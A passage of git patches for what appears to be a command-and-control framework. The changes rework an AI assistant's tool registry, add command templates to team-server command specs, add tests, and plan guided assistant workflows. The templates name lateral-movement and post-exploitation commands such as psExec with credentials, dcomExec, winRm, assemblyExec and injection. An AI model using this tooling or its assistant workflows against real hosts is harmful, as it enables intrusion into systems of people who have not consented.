a/C2Client/tests/assistant_agent/test_tool_loader.py b/C2Client/tests/assistant_agent/test_tool_loader.py deleted file mode 100644 index 03ec784..0000000 --- a/C2Client/tests/assistant_agent/test_tool_loader.py +++ /dev/null @@ -1,22 +0,0 @@ -from __future__ import annotations - -from C2Client.assistant_agent.tools.loader import load_tool_specs - - -def test_tool_loader_loads_unique_json_tool_specs(): - specs = load_tool_specs() - names = [spec.name for spec in specs] - - assert "assemblyExec" in names - assert "dcomExec" in names - assert "ls" in names - assert "screenShot" in names - assert "run" in names - assert "winRm" in names - assert len(names) == len(set(names)) - assert all(spec.description for spec in specs) - assert all(spec.command_template for spec in specs) - assert all(spec.source_path.suffix == ".json" for spec in specs) - assert all(spec.parameters["type"] == "object" for spec in specs) - assert all("beacon_hash" in spec.parameters["required"] for spec in specs) - assert all("listener_hash" in spec.parameters["required"] for spec in specs) diff --git a/C2Client/tests/assistant_agent/test_tool_registry.py b/C2Client/tests/assistant_agent/test_tool_registry.py index 4d49617..0824134 100644 --- a/C2Client/tests/assistant_agent/test_tool_registry.py +++ b/C2Client/tests/assistant_agent/test_tool_registry.py @@ -1,13 +1,34 @@ from __future__ import annotations -from types import SimpleNamespace - -from C2Client.assistant_agent.tools.loader import load_tool_specs from C2Client.assistant_agent.tools.registry import build_c2_tool_registry +from helpers import arg, command_spec + + +class StubGrpc: + def __init__(self): + self.commands = [ + command_spec("whoami", "whoami"), + command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")]), + ] + + def listCommands(self, query): + return iter(self.commands) + + def sendSessionCommand(self, command): + return None + + def getCommandHelp(self, command): + return None + + def listModules(self, session): + return iter([]) + + def listSessions(self): + return iter([]) + -def test_tool_registry_registers_all_json_tools(): - registry = build_c2_tool_registry(SimpleNamespace(sendSessionCommand=lambda command: None)) - expected_names = sorted(spec.name for spec in load_tool_specs()) +def test_tool_registry_registers_teamserver_command_specs(): + registry = build_c2_tool_registry(StubGrpc()) - assert registry.list_tool_names() == expected_names + assert registry.list_tool_names() == ["getCommandHelp", "listLiveSessions", "listLoadedModules", "ls", "whoami"] diff --git a/C2Client/tests/test_assistant_panel.py b/C2Client/tests/test_assistant_panel.py index 91539da..dab8cbb 100644 --- a/C2Client/tests/test_assistant_panel.py +++ b/C2Client/tests/test_assistant_panel.py @@ -8,10 +8,14 @@ class FakeDomainHooks: def __init__(self): self.observations = [] + self.active_sessions = [] def record_session_event(self, **kwargs): pass + def record_active_session(self, **kwargs): + self.active_sessions.append(kwargs) + def record_console_observation(self, **kwargs): self.observations.append(kwargs) diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 11df396..4769e3d 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -193,6 +193,39 @@ def test_command_result_error_uses_message_for_display(tmp_path, qtbot, monkeypa assert emitted[0][-2] == "Command failed." +def test_console_collects_responses_even_when_not_visible(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + grpc = StubGrpc() + grpc.responses = [ + SimpleNamespace( + status=TeamServerApi_pb2.OK, + session=SimpleNamespace(listener_hash="listener"), + command="whoami", + instruction="", + command_id="cmd-1", + output=b"user", + message="", + ) + ] + parent = QWidget() + console = Console(parent, grpc, 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + emitted = [] + console.consoleScriptSignal.connect(lambda *args: emitted.append(args)) + + console.setResponsePollingActive(False) + console.displayResponse() + + assert console.consoleActive is False + assert console.commandStatusById["cmd-1"]["status"] == "done" + assert emitted[0][0] == "receive" + assert emitted[0][-1] == "cmd-1" + assert "user" in console.editorOutput.toPlainText() + + def test_console_tracks_command_status_and_resend(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) diff --git a/core b/core index 4431ac1..ab5554b 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 4431ac1589afd8f41b288e5a755c97879a98a543 +Subproject commit ab5554bfcfa9cb11918b38f6430786ca0975ea1e diff --git a/docs/testing/test-catalog.yaml b/docs/testing/test-catalog.yaml index 86c8c96..0710d0c 100644 --- a/docs/testing/test-catalog.yaml +++ b/docs/testing/test-catalog.yaml @@ -135,7 +135,7 @@ entries: validation: auto+manual axes: {os: client, arch: n/a, listener: any, artifact_category: command_specs} evidence: - auto: ["C2Client/tests/test_console_panel.py", "C2Client/tests/assistant_agent/test_command_builder.py"] + auto: ["C2Client/tests/test_console_panel.py", "C2Client/tests/assistant_agent/test_command_builder.py", "C2Client/tests/assistant_agent/test_command_specs.py"] manual: ["Press Tab on assemblyExec, inject, dotnetExec, download, upload, and loadModule commands."] - id: C2CLIENT-CONSOLE-HELP-001 @@ -1241,12 +1241,12 @@ entries: - id: MODULE-COMMANDSPEC-COVERAGE-001 area: Modules feature: CommandSpec coverage - scenario: "Every user-facing module command has a CommandSpec JSON and matching C2Client schema where applicable." + scenario: "Every user-facing module command has a CommandSpec JSON with assistant-renderable command_template metadata." priority: critical validation: auto axes: {os: teamserver, arch: n/a, listener: n/a, artifact_category: command_specs} evidence: - auto: ["teamServer/tests/TeamServerCommandCatalogTests.cpp", "C2Client/tests/assistant_agent/test_tool_loader.py", "C2Client/tests/assistant_agent/test_tool_registry.py"] + auto: ["teamServer/tests/TeamServerCommandCatalogTests.cpp", "C2Client/tests/assistant_agent/test_command_specs.py", "C2Client/tests/assistant_agent/test_command_help_tool.py", "C2Client/tests/assistant_agent/test_module_state_tool.py", "C2Client/tests/assistant_agent/test_tool_registry.py"] manual: [] - id: RELEASE-WINDOWS-ARTIFACTS-001 diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index e0a5e0f..748f7f2 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -200,6 +200,7 @@ message CommandSpec repeated CommandArgSpec args = 9; repeated string examples = 10; string source = 11; + string command_template = 12; } diff --git a/teamServer/teamServer/TeamServerCommandCatalog.cpp b/teamServer/teamServer/TeamServerCommandCatalog.cpp index 1190e15..d02ce55 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.cpp @@ -160,6 +160,7 @@ TeamServerCommandSpecRecord parseCommandSpec(const fs::path& path) command.archs = jsonStringList(spec, "archs"); command.examples = jsonStringList(spec, "examples"); command.source = jsonString(spec, "source", "manifest"); + command.commandTemplate = jsonString(spec, "command_template"); command.internalPath = path.string(); auto argsIt = spec.find("args"); diff --git a/teamServer/teamServer/TeamServerCommandCatalog.hpp b/teamServer/teamServer/TeamServerCommandCatalog.hpp index 426a960..cab086b 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.hpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.hpp @@ -44,6 +44,7 @@ struct TeamServerCommandSpecRecord std::vector args; std::vector examples; std::string source; + std::string commandTemplate; std::string internalPath; }; diff --git a/teamServer/teamServer/TeamServerCommandCatalogService.cpp b/teamServer/teamServer/TeamServerCommandCatalogService.cpp index b2166b0..70320f3 100644 --- a/teamServer/teamServer/TeamServerCommandCatalogService.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalogService.cpp @@ -43,6 +43,7 @@ teamserverapi::CommandSpec TeamServerCommandCatalogService::toProto(const TeamSe spec.set_target(command.target); spec.set_requires_session(command.requiresSession); spec.set_source(command.source); + spec.set_command_template(command.commandTemplate); for (const std::string& platform : command.platforms) spec.add_platforms(platform); diff --git a/teamServer/tests/TeamServerCommandCatalogTests.cpp b/teamServer/tests/TeamServerCommandCatalogTests.cpp index 1c12641..3086064 100644 --- a/teamServer/tests/TeamServerCommandCatalogTests.cpp +++ b/teamServer/tests/TeamServerCommandCatalogTests.cpp @@ -77,6 +77,7 @@ void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) "display_name": "sleep", "kind": "common", "description": "Set beacon sleep interval.", + "command_template": "sleep {seconds}", "target": "beacon", "requires_session": true, "platforms": ["windows", "linux"], @@ -109,6 +110,7 @@ void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) "name": "end", "kind": "common", "description": "Terminate beacon.", + "command_template": "end", "target": "beacon", "requires_session": true, "platforms": ["windows", "linux"], @@ -123,6 +125,7 @@ void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) "name": "psExec", "kind": "module", "description": "Copy and run a service executable.", + "command_template": "psExec {auth_mode} {username:q?} {password:q?} {target:q} {service_artifact:q}", "target": "beacon", "requires_session": true, "platforms": ["windows"], @@ -188,6 +191,7 @@ void testCommandCatalogLoadsManifestSpecs() assert(sleep != nullptr); assert(sleep->kind == "common"); assert(sleep->target == "beacon"); + assert(sleep->commandTemplate == "sleep {seconds}"); assert(sleep->requiresSession); assert(sleep->platforms.size() == 2); assert(sleep->args.size() == 1); @@ -263,6 +267,7 @@ void testCommandCatalogServiceStreamsProto() assert(commands[0].name() == "sleep"); assert(commands[0].kind() == "common"); assert(commands[0].requires_session()); + assert(commands[0].command_template() == "sleep {seconds}"); assert(commands[0].args_size() == 1); assert(commands[0].args(0).name() == "seconds"); assert(commands[0].args(0).type() == "number"); From 7c929f6b86574bf6a73b1993149a8a14f3f1e92b Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 18:35:07 +0200 Subject: [PATCH 80/82] minor --- C2Client/TODO.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index cc2498d..14a26b8 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -38,6 +38,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 30 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | | 31 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | | 32 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | +| 33 | [ ] | Simplifier l'usage des outils complexes via l'assistant | L | Tres fort | Ajouter des workflows guides pour les commandes a forte friction (`assemblyExec`, `inject`, `dotnetExec`, `pwSh`, SOCKS, dropper/hosted): choix progressif des options, verification des pre-requis, usage de `listLoadedModules`, aide CommandSpec, selection d'artefacts, generation d'une commande finale relue avant execution. | ## Details `.env` @@ -95,4 +96,4 @@ C2_SHELLCODE_MODULES_DIR= 1. Phase 1: items 1 a 8. Aucun changement proto, beaucoup d'UX gagnee vite. 2. Phase 2: items 9 a 16. Client plus productif, tables/console/graph vraiment exploitables. 3. Phase 3: items 17 a 26. Contrat client-server propre pour capabilities, commandes, erreurs, SOCKS5 et artefacts generes par flux. -4. Phase 4: items 27 a 32. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. +4. Phase 4: items 27 a 33. Fonctionnalites operationnelles avancees, credential store serveur, audit, reduction du polling et workflows assistants pour les usages complexes. From 524b8d375b50d3dadd1bb5b44270b701e40d0aa3 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 21:15:43 +0200 Subject: [PATCH 81/82] maj core --- core | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core b/core index ab5554b..6847383 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit ab5554bfcfa9cb11918b38f6430786ca0975ea1e +Subproject commit 68473832655a6aebe4185ef3f93c8db0df55682b From 5f9cbf2a2634bc0a5a5d1dea7dae553c74e0d189 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 21:41:30 +0200 Subject: [PATCH 82/82] Maj core --- core | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core b/core index 6847383..108a370 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 68473832655a6aebe4185ef3f93c8db0df55682b +Subproject commit 108a3708079a4d2a741f16218119fe4407484196